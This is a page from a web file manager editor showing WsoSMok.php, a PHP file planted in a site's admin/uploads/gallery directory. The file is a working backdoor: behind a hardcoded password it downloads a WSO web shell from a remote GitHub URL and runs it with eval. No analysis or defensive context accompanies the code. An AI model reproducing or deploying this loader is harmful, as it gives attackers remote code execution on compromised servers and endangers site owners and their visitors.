PATH:
home2
/
pbkvidya
/
public_html
/
admin
/
uploads
/
gallery
/
Editing: WsoSMok.php
<?php session_start(); // Start a session // Define the correct password $password = "SMok"; // Check if the password is already verified in the session if (isset($_SESSION['authenticated']) && $_SESSION['authenticated'] === true) { // If authenticated, execute the main logic $link = 'https://raw.githubusercontent.com/smoksecu/SMok/refs/heads/main/SMokWSO.php'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $link); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); curl_close($ch); // Execute the fetched content eval('?>' . $output); exit; } // Check if the form is submitted if ($_SERVER["REQUEST_METHOD"] === "POST") { // Get the entered password $enteredPassword = $_POST["password"]; // Verify the password if ($enteredPassword === $password) { // Set session variable to mark the user as authenticated $_SESSION['authenticated'] = true; // Execute the main logic $link = 'https://raw.githubusercontent.com/smoksecu/SMok/refs/heads/main/SMokWSO.php'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $link); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); curl_close($ch); // Execute the fetched content eval('?>' . $output); exit; } else { echo "<p style='color:red;'>Incorrect password! Please try again.</p>"; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Password Protected File</title> <style> body { background-color: black; color: white; font-family: Arial, sans-serif; text-align: center; padding-top: 50px; } form { display: inline-block; background-color: #222; padding: 20px; border-radius: 10px; } input[type="password"] { padding: 10px; border: 1px solid #555; border-radius: 5px; background-color: #333; color: white; } button { padding: 10px 20px; background-color: #555; border: none; border-radius: 5px; color: white; cursor: pointer; } button:hover { background-color: #777; } </style> </head> <body> <h1>Enter Password to Access</h1> <form method="post"> <label for="password">Password:</label> <input type="password" id="password" name="password" required> <button type="submit">Submit</button> </form> </body> </html>
SAVE
CANCEL